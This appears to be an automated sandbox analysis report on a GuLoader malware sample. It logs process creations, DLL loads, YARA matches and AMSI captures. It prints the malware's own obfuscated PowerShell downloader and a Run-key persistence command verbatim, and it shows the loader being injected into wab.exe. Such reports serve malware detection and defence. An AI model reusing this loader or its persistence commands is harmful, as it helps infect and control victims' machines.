Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDi	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source:	Binary string: wntdll.pdbUGP source: wab.exe, 0000000A.00000003.2367524519.0000000024862000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, wab.exe, 0000000A.00000003.2367524519.0000000024862000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbB source: powershell.exe, 00000005.00000002.2257014116.0000000006DE8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000005.00000002.2265640290.000000000DB8A000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2264331701.0000000008220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2253915133.0000000005671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2595043034.0000018D5A4E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Trvaren)$global:Ubehjlpsommes = [System.Text.Encoding]::ASCII.GetString($Paddehatteskyernes)$global:Biologernes196=$Ubehjlpsommes.substring($Selvflelsers,$Topfigur)<#Redtab Trommesla
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Florideae $Locoweed $Playboyenes), (Latipennine @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:mukkerter = [AppDomain]::CurrentDomain.GetAssemblies()$glob
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Adinida)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Kurabel, $false).DefineType($Tekstforfatteres, $s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Trvaren)$global:Ubehjlpsommes = [System.Text.Encoding]::ASCII.GetString($Paddehatteskyernes)$global:Biologernes196=$Ubehjlpsommes.substring($Selvflelsers,$Topfigur)<#Redtab Trommesla

Obfuscated command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function 